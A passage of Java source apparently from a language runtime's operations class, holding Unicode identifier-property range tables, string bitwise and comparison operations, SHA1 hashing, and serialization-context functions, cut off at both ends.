119894,119964,119966,119967,119970,119970,119973,119974,119977,119980,119982,119993,119995,119995,119997,120003,120005,120069,120071,120074,120077,120084,120086,120092,120094,120121,120123,120126,120128,120132,120134,120134,120138,120144,120146,120485,120488,120512,120513,120513,120514,120538,120539,120539,120540,120570,120571,120571,120572,120596,120597,120597,120598,120628,120629,120629,120630,120654,120655,120655,120656,120686,120687,120687,120688,120712,120713,120713,120714,120744,120745,120745,120746,120770,120771,120771,120772,120779,120782,120831,126464,126467,126469,126495,126497,126498,126500,126500,126503,126503,126505,126514,126516,126519,126521,126521,126523,126523,126530,126530,126535,126535,126537,126537,126539,126539,126541,126543,126545,126546,126548,126548,126551,126551,126553,126553,126555,126555,126557,126557,126559,126559,126561,126562,126564,126564,126567,126570,126572,126578,126580,126583,126585,126588,126590,126590,126592,126601,126603,126619,126625,126627,126629,126633,126635,126651,126704,126705 }); derivedProps.put("ID_Start", new int[] { 65,90,97,122,170,170,181,181,186,186,192,214,216,246,248,442,443,443,444,447,448,451,452,659,660,660,661,687,688,705,710,721,736,740,748,748,750,750,880,883,884,884,886,887,890,890,891,893,902,902,904,906,908,908,910,929,931,1013,1015,1153,1162,1319,1329,1366,1369,1369,1377,1415,1488,1514,1520,1522,1568,1599,1600,1600,1601,1610,1646,1647,1649,1747,1749,1749,1765,1766,1774,1775,1786,1788,1791,1791,1808,1808,1810,1839,1869,1957,1969,1969,1994,2026,2036,2037,2042,2042,2048,2069,2074,2074,2084,2084,2088,2088,2112,2136,2208,2208,2210,2220,2308,2361,2365,2365,2384,2384,2392,2401,2417,2417,2418,2423,2425,2431,2437,2444,2447,2448,2451,2472,2474,2480,2482,2482,2486,2489,2493,2493,2510,2510,2524,2525,2527,2529,2544,2545,2565,2570,2575,2576,2579,2600,2602,2608,2610,2611,2613,2614,2616,2617,2649,2652,2654,2654,2674,2676,2693,2701,2703,2705,2707,2728,2730,2736,2738,2739,2741,2745,2749,2749,2768,2768,2784,2785,2821,2828,2831,2832,2835,2856,2858,2864,2866,2867,2869,2873,2877,2877,2908,2909,2911,2913,2929,2929,2947,2947,2949,2954,2958,2960,2962,2965,2969,2970,2972,2972,2974,2975,2979,2980,2984,2986,2990,3001,3024,3024,3077,3084,3086,3088,3090,3112,3114,3123,3125,3129,3133,3133,3160,3161,3168,3169,3205,3212,3214,3216,3218,3240,3242,3251,3253,3257,3261,3261,3294,3294,3296,3297,3313,3314,3333,3340,3342,3344,3346,3386,3389,3389,3406,3406,3424,3425,3450,3455,3461,3478,3482,3505,3507,3515,3517,3517,3520,3526,3585,3632,3634,3635,3648,3653,3654,3654,3713,3714,3716,3716,3719,3720,3722,3722,3725,3725,3732,3735,3737,3743,3745,3747,3749,3749,3751,3751,3754,3755,3757,3760,3762,3763,3773,3773,3776,3780,3782,3782,3804,3807,3840,3840,3904,3911,3913,3948,3976,3980,4096,4138,4159,4159,4176,4181,4186,4189,4193,4193,4197,4198,4206,4208,4213,4225,4238,4238,4256,4293,4295,4295,4301,4301,4304,4346,4348,4348,4349,4680,4682,4685,4688,4694,4696,4696,4698,4701,4704,4744,4746,4749,4752,4784,4786,4789,4792,4798,4800,4800,4802,4805,4808,4822,4824,4880,4882,4885,4888,4954,4992,5007,5024,5108,5121,5740,5743,5759,5761,5786,5792,5866,5870,5872,5888,5900,5902,5905,5920,5937,5952,5969,5984,5996,5998,6000,6016,6067,6103,6103,6108,6108,6176,6210,6211,6211,6212,6263,6272,6312,6314,6314,6320,6389,6400,6428,6480,6509,6512,6516,6528,6571,6593,6599,6656,6678,6688,6740,6823,6823,6917,6963,6981,6987,7043,7072,7086,7087,7098,7141,7168,7203,7245,7247,7258,7287,7288,7293,7401,7404,7406,7409,7413,7414,7424,7467,7468,7530,7531,7543,7544,7544,7545,7578,7579,7615,7680,7957,7960,7965,7968,8005,8008,8013,8016,8023,8025,8025,8027,8027,8029,8029,8031,8061,8064,8116,8118,8124,8126,8126,8130,8132,8134,8140,8144,8147,8150,8155,8160,8172,8178,8180,8182,8188,8305,8305,8319,8319,8336,8348,8450,8450,8455,8455,8458,8467,8469,8469,8472,8472,8473,8477,8484,8484,8486,8486,8488,8488,8490,8493,8494,8494,8495,8500,8501,8504,8505,8505,8508,8511,8517,8521,8526,8526,8544,8578,8579,8580,8581,8584,11264,11310,11312,11358,11360,11387,11388,11389,11390,11492,11499,11502,11506,11507,11520,11557,11559,11559,11565,11565,11568,11623,11631,11631,11648,11670,11680,11686,11688,11694,11696,11702,11704,11710,11712,11718,11720,11726,11728,11734,11736,11742,12293,12293,12294,12294,12295,12295,12321,12329,12337,12341,12344,12346,12347,12347,12348,12348,12353,12438,12443,12444,12445,12446,12447,12447,12449,12538,12540,12542,12543,12543,12549,12589,12593,12686,12704,12730,12784,12799,13312,19893,19968,40908,40960,40980,40981,40981,40982,42124,42192,42231,42232,42237,42240,42507,42508,42508,42512,42527,42538,42539,42560,42605,42606,42606,42623,42623,42624,42647,42656,42725,42726,42735,42775,42783,42786,42863,42864,42864,42865,42887,42888,42888,42891,42894,42896,42899,42912,42922,43000,43001,43002,43002,43003,43009,43011,43013,43015,43018,43020,43042,43072,43123,43138,43187,43250,43255,43259,43259,43274,43301,43312,43334,43360,43388,43396,43442,43471,43471,43520,43560,43584,43586,43588,43595,43616,43631,43632,43632,43633,43638,43642,43642,43648,43695,43697,43697,43701,43702,43705,43709,43712,43712,43714,43714,43739,43740,43741,43741,43744,43754,43762,43762,43763,43764,43777,43782,43785,43790,43793,43798,43808,43814,43816,43822,43968,44002,44032,55203,55216,55238,55243,55291,63744,64109,64112,64217,64256,64262,64275,64279,64285,64285,64287,64296,64298,64310,64312,64316,64318,64318,64320,64321,64323,64324,64326,64433,64467,64829,64848,64911,64914,64967,65008,65019,65136,65140,65142,65276,65313,65338,65345,65370,65382,65391,65392,65392,65393,65437,65438,65439,65440,65470,65474,65479,65482,65487,65490,65495,65498,65500,65536,65547,65549,65574,65576,65594,65596,65597,65599,65613,65616,65629,65664,65786,65856,65908,66176,66204,66208,66256,66304,66334,66352,66368,66369,66369,66370,66377,66378,66378,66432,66461,66464,66499,66504,66511,66513,66517,66560,66639,66640,66717,67584,67589,67592,67592,67594,67637,67639,67640,67644,67644,67647,67669,67840,67861,67872,67897,67968,68023,68030,68031,68096,68096,68112,68115,68117,68119,68121,68147,68192,68220,68352,68405,68416,68437,68448,68466,68608,68680,69635,69687,69763,69807,69840,69864,69891,69926,70019,70066,70081,70084,71296,71338,73728,74606,74752,74850,77824,78894,92160,92728,93952,94020,94032,94032,94099,94111,110592,110593,119808,119892,119894,119964,119966,119967,119970,119970,119973,119974,119977,119980,119982,119993,119995,119995,119997,120003,120005,120069,120071,120074,120077,120084,120086,120092,120094,120121,120123,120126,120128,120132,120134,120134,120138,120144,120146,120485,120488,120512,120514,120538,120540,120570,120572,120596,120598,120628,120630,120654,120656,120686,120688,120712,120714,120744,120746,120770,120772,120779,126464,126467,126469,126495,126497,126498,126500,126500,126503,126503,126505,126514,126516,126519,126521,126521,126523,126523,126530,126530,126535,126535,126537,126537,126539,126539,126541,126543,126545,126546,126548,126548,126551,126551,126553,126553,126555,126555,126557,126557,126559,126559,126561,126562,126564,126564,126567,126570,126572,126578,126580,126583,126585,126588,126590,126590,126592,126601,126603,126619,126625,126627,126629,126633,126635,126651,131072,173782,173824,177972,177984,178205,194560,195101 }); derivedProps.put("ID_Continue", new int[] { 48,57,65,90,95,95,97,122,170,170,181,181,183,183,186,186,192,214,216,246,248,442,443,443,444,447,448,451,452,659,660,660,661,687,688,705,710,721,736,740,748,748,750,750,768,879,880,883,884,884,886,887,890,890,891,893,902,902,903,903,904,906,908,908,910,929,931,1013,1015,1153,1155,1159,1162,1319,1329,1366,1369,1369,1377,1415,1425,1469,1471,1471,1473,1474,1476,1477,1479,1479,1488,1514,1520,1522,1552,1562,1568,1599,1600,1600,1601,1610,1611,1631,1632,1641,1646,1647,1648,1648,1649,1747,1749,1749,1750,1756,1759,1764,1765,1766,1767,1768,1770,1773,1774,1775,1776,1785,1786,1788,1791,1791,1808,1808,1809,1809,1810,1839,1840,1866,1869,1957,1958,1968,1969,1969,1984,1993,1994,2026,2027,2035,2036,2037,2042,2042,2048,2069,2070,2073,2074,2074,2075,2083,2084,2084,2085,2087,2088,2088,2089,2093,2112,2136,2137,2139,2208,2208,2210,2220,2276,2302,2304,2306,2307,2307,2308,2361,2362,2362,2363,2363,2364,2364,2365,2365,2366,2368,2369,2376,2377,2380,2381,2381,2382,2383,2384,2384,2385,2391,2392,2401,2402,2403,2406,2415,2417,2417,2418,2423,2425,2431,2433,2433,2434,2435,2437,2444,2447,2448,2451,2472,2474,2480,2482,2482,2486,2489,2492,2492,2493,2493,2494,2496,2497,2500,2503,2504,2507,2508,2509,2509,2510,2510,2519,2519,2524,2525,2527,2529,2530,2531,2534,2543,2544,2545,2561,2562,2563,2563,2565,2570,2575,2576,2579,2600,2602,2608,2610,2611,2613,2614,2616,2617,2620,2620,2622,2624,2625,2626,2631,2632,2635,2637,2641,2641,2649,2652,2654,2654,2662,2671,2672,2673,2674,2676,2677,2677,2689,2690,2691,2691,2693,2701,2703,2705,2707,2728,2730,2736,2738,2739,2741,2745,2748,2748,2749,2749,2750,2752,2753,2757,2759,2760,2761,2761,2763,2764,2765,2765,2768,2768,2784,2785,2786,2787,2790,2799,2817,2817,2818,2819,2821,2828,2831,2832,2835,2856,2858,2864,2866,2867,2869,2873,2876,2876,2877,2877,2878,2878,2879,2879,2880,2880,2881,2884,2887,2888,2891,2892,2893,2893,2902,2902,2903,2903,2908,2909,2911,2913,2914,2915,2918,2927,2929,2929,2946,2946,2947,2947,2949,2954,2958,2960,2962,2965,2969,2970,2972,2972,2974,2975,2979,2980,2984,2986,2990,3001,3006,3007,3008,3008,3009,3010,3014,3016,3018,3020,3021,3021,3024,3024,3031,3031,3046,3055,3073,3075,3077,3084,3086,3088,3090,3112,3114,3123,3125,3129,3133,3133,3134,3136,3137,3140,3142,3144,3146,3149,3157,3158,3160,3161,3168,3169,3170,3171,3174,3183,3202,3203,3205,3212,3214,3216,3218,3240,3242,3251,3253,3257,3260,3260,3261,3261,3262,3262,3263,3263,3264,3268,3270,3270,3271,3272,3274,3275,3276,3277,3285,3286,3294,3294,3296,3297,3298,3299,3302,3311,3313,3314,3330,3331,3333,3340,3342,3344,3346,3386,3389,3389,3390,3392,3393,3396,3398,3400,3402,3404,3405,3405,3406,3406,3415,3415,3424,3425,3426,3427,3430,3439,3450,3455,3458,3459,3461,3478,3482,3505,3507,3515,3517,3517,3520,3526,3530,3530,3535,3537,3538,3540,3542,3542,3544,3551,3570,3571,3585,3632,3633,3633,3634,3635,3636,3642,3648,3653,3654,3654,3655,3662,3664,3673,3713,3714,3716,3716,3719,3720,3722,3722,3725,3725,3732,3735,3737,3743,3745,3747,3749,3749,3751,3751,3754,3755,3757,3760,3761,3761,3762,3763,3764,3769,3771,3772,3773,3773,3776,3780,3782,3782,3784,3789,3792,3801,3804,3807,3840,3840,3864,3865,3872,3881,3893,3893,3895,3895,3897,3897,3902,3903,3904,3911,3913,3948,3953,3966,3967,3967,3968,3972,3974,3975,3976,3980,3981,3991,3993,4028,4038,4038,4096,4138,4139,4140,4141,4144,4145,4145,4146,4151,4152,4152,4153,4154,4155,4156,4157,4158,4159,4159,4160,4169,4176,4181,4182,4183,4184,4185,4186,4189,4190,4192,4193,4193,4194,4196,4197,4198,4199,4205,4206,4208,4209,4212,4213,4225,4226,4226,4227,4228,4229,4230,4231,4236,4237,4237,4238,4238,4239,4239,4240,4249,4250,4252,4253,4253,4256,4293,4295,4295,4301,4301,4304,4346,4348,4348,4349,4680,4682,4685,4688,4694,4696,4696,4698,4701,4704,4744,4746,4749,4752,4784,4786,4789,4792,4798,4800,4800,4802,4805,4808,4822,4824,4880,4882,4885,4888,4954,4957,4959,4969,4977,4992,5007,5024,5108,5121,5740,5743,5759,5761,5786,5792,5866,5870,5872,5888,5900,5902,5905,5906,5908,5920,5937,5938,5940,5952,5969,5970,5971,5984,5996,5998,6000,6002,6003,6016,6067,6068,6069,6070,6070,6071,6077,6078,6085,6086,6086,6087,6088,6089,6099,6103,6103,6108,6108,6109,6109,6112,6121,6155,6157,6160,6169,6176,6210,6211,6211,6212,6263,6272,6312,6313,6313,6314,6314,6320,6389,6400,6428,6432,6434,6435,6438,6439,6440,6441,6443,6448,6449,6450,6450,6451,6456,6457,6459,6470,6479,6480,6509,6512,6516,6528,6571,6576,6592,6593,6599,6600,6601,6608,6617,6618,6618,6656,6678,6679,6680,6681,6683,6688,6740,6741,6741,6742,6742,6743,6743,6744,6750,6752,6752,6753,6753,6754,6754,6755,6756,6757,6764,6765,6770,6771,6780,6783,6783,6784,6793,6800,6809,6823,6823,6912,6915,6916,6916,6917,6963,6964,6964,6965,6965,6966,6970,6971,6971,6972,6972,6973,6977,6978,6978,6979,6980,6981,6987,6992,7001,7019,7027,7040,7041,7042,7042,7043,7072,7073,7073,7074,7077,7078,7079,7080,7081,7082,7082,7083,7083,7084,7085,7086,7087,7088,7097,7098,7141,7142,7142,7143,7143,7144,7145,7146,7148,7149,7149,7150,7150,7151,7153,7154,7155,7168,7203,7204,7211,7212,7219,7220,7221,7222,7223,7232,7241,7245,7247,7248,7257,7258,7287,7288,7293,7376,7378,7380,7392,7393,7393,7394,7400,7401,7404,7405,7405,7406,7409,7410,7411,7412,7412,7413,7414,7424,7467,7468,7530,7531,7543,7544,7544,7545,7578,7579,7615,7616,7654,7676,7679,7680,7957,7960,7965,7968,8005,8008,8013,8016,8023,8025,8025,8027,8027,8029,8029,8031,8061,8064,8116,8118,8124,8126,8126,8130,8132,8134,8140,8144,8147,8150,8155,8160,8172,8178,8180,8182,8188,8255,8256,8276,8276,8305,8305,8319,8319,8336,8348,8400,8412,8417,8417,8421,8432,8450,8450,8455,8455,8458,8467,8469,8469,8472,8472,8473,8477,8484,8484,8486,8486,8488,8488,8490,8493,8494,8494,8495,8500,8501,8504,8505,8505,8508,8511,8517,8521,8526,8526,8544,8578,8579,8580,8581,8584,11264,11310,11312,11358,11360,11387,11388,11389,11390,11492,11499,11502,11503,11505,11506,11507,11520,11557,11559,11559,11565,11565,11568,11623,11631,11631,11647,11647,11648,11670,11680,11686,11688,11694,11696,11702,11704,11710,11712,11718,11720,11726,11728,11734,11736,11742,11744,11775,12293,12293,12294,12294,12295,12295,12321,12329,12330,12333,12334,12335,12337,12341,12344,12346,12347,12347,12348,12348,12353,12438,12441,12442,12443,12444,12445,12446,12447,12447,12449,12538,12540,12542,12543,12543,12549,12589,12593,12686,12704,12730,12784,12799,13312,19893,19968,40908,40960,40980,40981,40981,40982,42124,42192,42231,42232,42237,42240,42507,42508,42508,42512,42527,42528,42537,42538,42539,42560,42605,42606,42606,42607,42607,42612,42621,42623,42623,42624,42647,42655,42655,42656,42725,42726,42735,42736,42737,42775,42783,42786,42863,42864,42864,42865,42887,42888,42888,42891,42894,42896,42899,42912,42922,43000,43001,43002,43002,43003,43009,43010,43010,43011,43013,43014,43014,43015,43018,43019,43019,43020,43042,43043,43044,43045,43046,43047,43047,43072,43123,43136,43137,43138,43187,43188,43203,43204,43204,43216,43225,43232,43249,43250,43255,43259,43259,43264,43273,43274,43301,43302,43309,43312,43334,43335,43345,43346,43347,43360,43388,43392,43394,43395,43395,43396,43442,43443,43443,43444,43445,43446,43449,43450,43451,43452,43452,43453,43456,43471,43471,43472,43481,43520,43560,43561,43566,43567,43568,43569,43570,43571,43572,43573,43574,43584,43586,43587,43587,43588,43595,43596,43596,43597,43597,43600,43609,43616,43631,43632,43632,43633,43638,43642,43642,43643,43643,43648,43695,43696,43696,43697,43697,43698,43700,43701,43702,43703,43704,43705,43709,43710,43711,43712,43712,43713,43713,43714,43714,43739,43740,43741,43741,43744,43754,43755,43755,43756,43757,43758,43759,43762,43762,43763,43764,43765,43765,43766,43766,43777,43782,43785,43790,43793,43798,43808,43814,43816,43822,43968,44002,44003,44004,44005,44005,44006,44007,44008,44008,44009,44010,44012,44012,44013,44013,44016,44025,44032,55203,55216,55238,55243,55291,63744,64109,64112,64217,64256,64262,64275,64279,64285,64285,64286,64286,64287,64296,64298,64310,64312,64316,64318,64318,64320,64321,64323,64324,64326,64433,64467,64829,64848,64911,64914,64967,65008,65019,65024,65039,65056,65062,65075,65076,65101,65103,65136,65140,65142,65276,65296,65305,65313,65338,65343,65343,65345,65370,65382,65391,65392,65392,65393,65437,65438,65439,65440,65470,65474,65479,65482,65487,65490,65495,65498,65500,65536,65547,65549,65574,65576,65594,65596,65597,65599,65613,65616,65629,65664,65786,65856,65908,66045,66045,66176,66204,66208,66256,66304,66334,66352,66368,66369,66369,66370,66377,66378,66378,66432,66461,66464,66499,66504,66511,66513,66517,66560,66639,66640,66717,66720,66729,67584,67589,67592,67592,67594,67637,67639,67640,67644,67644,67647,67669,67840,67861,67872,67897,67968,68023,68030,68031,68096,68096,68097,68099,68101,68102,68108,68111,68112,68115,68117,68119,68121,68147,68152,68154,68159,68159,68192,68220,68352,68405,68416,68437,68448,68466,68608,68680,69632,69632,69633,69633,69634,69634,69635,69687,69688,69702,69734,69743,69760,69761,69762,69762,69763,69807,69808,69810,69811,69814,69815,69816,69817,69818,69840,69864,69872,69881,69888,69890,69891,69926,69927,69931,69932,69932,69933,69940,69942,69951,70016,70017,70018,70018,70019,70066,70067,70069,70070,70078,70079,70080,70081,70084,70096,70105,71296,71338,71339,71339,71340,71340,71341,71341,71342,71343,71344,71349,71350,71350,71351,71351,71360,71369,73728,74606,74752,74850,77824,78894,92160,92728,93952,94020,94032,94032,94033,94078,94095,94098,94099,94111,110592,110593,119141,119142,119143,119145,119149,119154,119163,119170,119173,119179,119210,119213,119362,119364,119808,119892,119894,119964,119966,119967,119970,119970,119973,119974,119977,119980,119982,119993,119995,119995,119997,120003,120005,120069,120071,120074,120077,120084,120086,120092,120094,120121,120123,120126,120128,120132,120134,120134,120138,120144,120146,120485,120488,120512,120514,120538,120540,120570,120572,120596,120598,120628,120630,120654,120656,120686,120688,120712,120714,120744,120746,120770,120772,120779,120782,120831,126464,126467,126469,126495,126497,126498,126500,126500,126503,126503,126505,126514,126516,126519,126521,126521,126523,126523,126530,126530,126535,126535,126537,126537,126539,126539,126541,126543,126545,126546,126548,126548,126551,126551,126553,126553,126555,126555,126557,126557,126559,126559,126561,126562,126564,126564,126567,126570,126572,126578,126580,126583,126585,126588,126590,126590,126592,126601,126603,126619,126625,126627,126629,126633,126635,126651,131072,173782,173824,177972,177984,178205,194560,195101,917760,917999 }); } public static long ischarprop(String propName, String target, long offset) { int iOffset = (int)offset; if (offset >= target.length()) return 0; String check = target.codePointAt(iOffset) >= 65536 ? target.substring(iOffset, iOffset + 2) : target.substring(iOffset, iOffset + 1); int[] derived = derivedProps.get(propName); if (derived != null) { /* It's one of the derived properties; see of the codepoint is * in it. */ int cp = check.codePointAt(0); for (int i = 0; i < derived.length; i += 2) if (cp >= derived[i] && cp <= derived[i + 1]) return 1; return 0; } try { // This throws if we can't get the script name, meaning it's // not a script. Character.UnicodeScript script = Character.UnicodeScript.forName(propName); return Character.UnicodeScript.of(check.codePointAt(0)) == script ? 1 : 0; } catch (IllegalArgumentException e) { String canon = canonNames.get(propName.toLowerCase()); if (canon != null) propName = canon; return check.matches("\\p{" + propName + "}") ? 1 : 0; } } public static String bitor_s(String a, String b) { int alength = a.length(); int blength = b.length(); int mlength = alength > blength ? alength : blength; StringBuilder r = new StringBuilder(mlength); int apos = 0; int bpos = 0; while (apos < alength || bpos < blength) { int cpa = apos < alength ? a.codePointAt(apos) : 0; int cpb = bpos < blength ? b.codePointAt(bpos) : 0; r.appendCodePoint(cpa | cpb); apos += Character.charCount(cpa); bpos += Character.charCount(cpb); } return r.toString(); } public static String bitxor_s(String a, String b) { int alength = a.length(); int blength = b.length(); int mlength = alength > blength ? alength : blength; StringBuilder r = new StringBuilder(mlength); int apos = 0; int bpos = 0; while (apos < alength || bpos < blength) { int cpa = apos < alength ? a.codePointAt(apos) : 0; int cpb = bpos < blength ? b.codePointAt(bpos) : 0; r.appendCodePoint(cpa ^ cpb); apos += Character.charCount(cpa); bpos += Character.charCount(cpb); } return r.toString(); } public static String bitand_s(String a, String b) { int alength = a.length(); int blength = b.length(); int mlength = alength > blength ? alength : blength; StringBuilder r = new StringBuilder(mlength); int apos = 0; int bpos = 0; while (apos < alength && bpos < blength) { int cpa = a.codePointAt(apos); int cpb = b.codePointAt(bpos); r.appendCodePoint(cpa & cpb); apos += Character.charCount(cpa); bpos += Character.charCount(cpb); } return r.toString(); } /* serialization context related opcodes */ public static String sha1(String str) throws NoSuchAlgorithmException, UnsupportedEncodingException { MessageDigest md = MessageDigest.getInstance("SHA1"); byte[] inBytes = str.getBytes("UTF-8"); byte[] outBytes = md.digest(inBytes); StringBuilder sb = new StringBuilder(); for (byte b : outBytes) { sb.append(String.format("%02X", b)); } return sb.toString(); } public static SixModelObject createsc(String handle, ThreadContext tc) { if (tc.gc.scs.containsKey(handle)) throw ExceptionHandling.dieInternal(tc, "SC with handle " + handle + " already exists"); SerializationContext sc = new SerializationContext(handle); tc.gc.scs.put(handle, sc); SixModelObject SCRef = tc.gc.SCRef; SCRefInstance ref = (SCRefInstance)SCRef.st.REPR.allocate(tc, SCRef.st); ref.referencedSC = sc; tc.gc.scRefs.put(handle, ref); return ref; } public static SixModelObject scsetobj(SixModelObject scRef, long idx, SixModelObject obj, ThreadContext tc) { if (scRef instanceof SCRefInstance) { SerializationContext sc = ((SCRefInstance)scRef).referencedSC; ArrayList<SixModelObject> roots = sc.root_objects; if (roots.size() == idx) roots.add(obj); else roots.set((int)idx, obj); if (obj.st.sc == null) { sc.root_stables.add(obj.st); obj.st.sc = sc; } return obj; } else { throw ExceptionHandling.dieInternal(tc, "scsetobj can only operate on an SCRef"); } } public static SixModelObject scsetcode(SixModelObject scRef, long idx, SixModelObject obj, ThreadContext tc) { if (scRef instanceof SCRefInstance) { if (obj instanceof CodeRef) { ArrayList<CodeRef> roots = ((SCRefInstance)scRef).referencedSC.root_codes; if (roots.size() == idx) roots.add((CodeRef)obj); else roots.set((int)idx, (CodeRef)obj); obj.sc = ((SCRefInstance)scRef).referencedSC; return obj; } else { throw ExceptionHandling.dieInternal(tc, "scsetcode can only store a CodeRef"); } } else { throw ExceptionHandling.dieInternal(tc, "scsetcode can only operate on an SCRef"); } } public static SixModelObject scgetobj(SixModelObject scRef, long idx, ThreadContext tc) { if (scRef instanceof SCRefInstance) { return ((SCRefInstance)scRef).referencedSC.root_objects.get((int)idx); } else { throw ExceptionHandling.dieInternal(tc, "scgetobj can only operate on an SCRef"); } } public static String scgethandle(SixModelObject scRef, ThreadContext tc) { if (scRef instanceof SCRefInstance) { return ((SCRefInstance)scRef).referencedSC.handle; } else { throw ExceptionHandling.dieInternal(tc, "scgethandle can only operate on an SCRef"); } } public static String scgetdesc(SixModelObject scRef, ThreadContext tc) { if (scRef instanceof SCRefInstance) { return ((SCRefInstance)scRef).referencedSC.description; } else { throw ExceptionHandling.dieInternal(tc, "scgetdesc can only operate on an SCRef"); } } public static long scgetobjidx(SixModelObject scRef, SixModelObject find, ThreadContext tc) { if (scRef instanceof SCRefInstance) { int idx = ((SCRefInstance)scRef).referencedSC.root_objects.indexOf(find); if (idx < 0) throw ExceptionHandling.dieInternal(tc, "Object does not exist in this SC"); return idx; } else { throw ExceptionHandling.dieInternal(tc, "scgetobjidx can only operate on an SCRef"); } } public static String scsetdesc(SixModelObject scRef, String desc, ThreadContext tc) { if (scRef instanceof SCRefInstance) { ((SCRefInstance)scRef).referencedSC.description = desc; return desc; } else { throw ExceptionHandling.dieInternal(tc, "scsetdesc can only operate on an SCRef"); } } public static long scobjcount(SixModelObject scRef, ThreadContext tc) { if (scRef instanceof SCRefInstance) { return ((SCRefInstance)scRef).referencedSC.root_objects.size(); } else { throw ExceptionHandling.dieInternal(tc, "scobjcount can only operate on an SCRef"); } } public static SixModelObject setobjsc(SixModelObject obj, SixModelObject scRef, ThreadContext tc) { if (scRef instanceof SCRefInstance) { obj.sc = ((SCRefInstance)scRef).referencedSC; return obj; } else { throw ExceptionHandling.dieInternal(tc, "setobjsc requires an SCRef"); } } public static SixModelObject getobjsc(SixModelObject obj, ThreadContext tc) { SerializationContext sc = obj.sc; if (sc == null) return null; if (!tc.gc.scRefs.containsKey(sc.handle)) { SixModelObject SCRef = tc.gc.SCRef; SCRefInstance ref = (SCRefInstance)SCRef.st.REPR.allocate(tc, SCRef.st); ref.referencedSC = sc; tc.gc.scRefs.put(sc.handle, ref); } return tc.gc.scRefs.get(sc.handle); } public static String serialize(SixModelObject scRef, SixModelObject sh, ThreadContext tc) { if (scRef instanceof SCRefInstance) { ArrayList<String> stringHeap = new ArrayList<String>(); SerializationWriter sw = new SerializationWriter(tc, ((SCRefInstance)scRef).referencedSC, stringHeap); String serialized = sw.serialize(); int index = 0; for (String s : stringHeap) { tc.native_s = s; sh.bind_pos_native(tc, index++); } return serialized; } else { throw ExceptionHandling.dieInternal(tc, "serialize was not passed a valid SCRef"); } } public static String deserialize(String blob, SixModelObject scRef, SixModelObject sh, SixModelObject cr, SixModelObject conflict, ThreadContext tc) throws IOException { if (scRef instanceof SCRefInstance) { SerializationContext sc = ((SCRefInstance)scRef).referencedSC; String[] shArray = new String[(int)sh.elems(tc)]; for (int i = 0; i < shArray.length; i++) { sh.at_pos_native(tc, i); shArray[i] = tc.native_s; } CodeRef[] crArray; int crCount; CompilationUnit cu = tc.curFrame.codeRef.staticInfo.compUnit; if (cr == null) { crArray = cu.qbidToCodeRef; crCount = cu.serializedCodeRefCount(); } else { crArray = new CodeRef[(int)cr.elems(tc)]; crCount = crArray.length; for (int i = 0; i < crArray.length; i++) crArray[i] = (CodeRef)cr.at_pos_boxed(tc, i); } ByteBuffer binaryBlob; if (blob == null) { binaryBlob = ByteBuffer.wrap( LibraryLoader.readEverything( cu.getClass().getResourceAsStream( cu.getClass().getSimpleName() + ".serialized" ) ) ); } else { binaryBlob = Base64.decode(blob); } SerializationReader sr = new SerializationReader( tc, sc, shArray, crArray, crCount, binaryBlob); sr.deserialize(); return blob; } else { throw ExceptionHandling.dieInternal(tc, "deserialize was not passed a valid SCRef"); } } public static SixModelObject wval(String sc, long idx, ThreadContext tc) { return tc.gc.scs.get(sc).root_objects.get((int)idx); } public static long scwbdisable(ThreadContext tc) { return ++tc.scwbDisableDepth; } public static long scwbenable(ThreadContext tc) { return --tc.scwbDisableDepth; } public static SixModelObject pushcompsc(SixModelObject sc, ThreadContext tc) { if (sc instanceof SCRefInstance) { if (tc.compilingSCs == null) tc.compilingSCs = new ArrayList<SCRefInstance>(); tc.compilingSCs.add((SCRefInstance)sc); return sc; } else { throw ExceptionHandling.dieInternal(tc, "Can only push an SCRef with pushcompsc"); } } public static SixModelObject popcompsc(ThreadContext tc) { if (tc.compilingSCs == null) throw ExceptionHandling.dieInternal(tc, "No current compiling SC."); int idx = tc.compilingSCs.size() - 1; SixModelObject result = tc.compilingSCs.get(idx); tc.compilingSCs.remove(idx); if (idx == 0) tc.compilingSCs = null; return result; } /* SC write barriers (not really ops, but putting them here with the SC * related bits). */ public static void scwbObject(ThreadContext tc, SixModelObject obj) { int cscSize = tc.compilingSCs == null ? 0 : tc.compilingSCs.size(); if (cscSize == 0 || tc.scwbDisableDepth > 0) return; /* See if the object is actually owned by another, and it's the * owner we need to repossess. */ SixModelObject owner = obj.sc.owned_objects.get(obj); if (owner != null) obj = owner; SerializationContext compSC = tc.compilingSCs.get(cscSize - 1).referencedSC; if (obj.sc != compSC) { compSC.repossessObject(obj.sc, obj); obj.sc = compSC; } } public static void scwbSTable(ThreadContext tc, STable st) { int cscSize = tc.compilingSCs == null ? 0 : tc.compilingSCs.size(); if (cscSize == 0 || tc.scwbDisableDepth > 0) return; SerializationContext compSC = tc.compilingSCs.get(cscSize - 1).referencedSC; if (st.sc != compSC) { compSC.repossessSTable(st.sc, st); st.sc = compSC; } } /* bitwise operations. */ public static long bitor_i(long valA, long valB) { return valA | valB; } public static long bitxor_i(long valA, long valB) { return valA ^ valB; } public static long bitand_i(long valA, long valB) { return valA & valB; } public static long bitshiftl_i(long valA, long valB) { return valA << valB; } public static long bitshiftr_i(long valA, long valB) { return valA >> valB; } public static long bitneg_i(long val) { return ~val; } /* Relational. */ public static long cmp_i(long a, long b) { if (a < b) { return -1; } else if (a > b) { return 1; } else { return 0; } } public static long iseq_i(long a, long b) { return a == b ? 1 : 0; } public static long isne_i(long a, long b) { return a != b ? 1 : 0; } public static long islt_i(long a, long b) { return a < b ? 1 : 0; } public static long isle_i(long a, long b) { return a <= b ? 1 : 0; } public static long isgt_i(long a, long b) { return a > b ? 1 : 0; } public static long isge_i(long a, long b) { return a >= b ? 1 : 0; } public static long cmp_n(double a, double b) { if (a < b) { return -1; } else if (a > b) { return 1; } else { return 0; } } public static long iseq_n(double a, double b) { return a == b ? 1 : 0; } public static long isne_n(double a, double b) { return a != b ? 1 : 0; } public static long islt_n(double a, double b) { return a < b ? 1 : 0; } public static long isle_n(double a, double b) { return a <= b ? 1 : 0; } public static long isgt_n(double a, double b) { return a > b ? 1 : 0; } public static long isge_n(double a, double b) { return a >= b ? 1 : 0; } public static long cmp_s(String a, String b) { int result = a.compareTo(b); return result < 0 ? -1 : result > 0 ? 1 : 0; } public static long iseq_s(String a, String b) { return a.equals(b) ? 1 : 0; } public static long isne_s(String a, String b) { return a.equals(b) ? 0 : 1; } public static long islt_s(String a, String b) { return a.compareTo(b) < 0 ? 1 : 0; } public static long isle_s(String a, String b) { return a.compareTo(b) <= 0 ? 1 : 0; } public static long isgt_s(String a, String b) { return a.compareTo(b) > 0 ? 1 : 0; } public static long 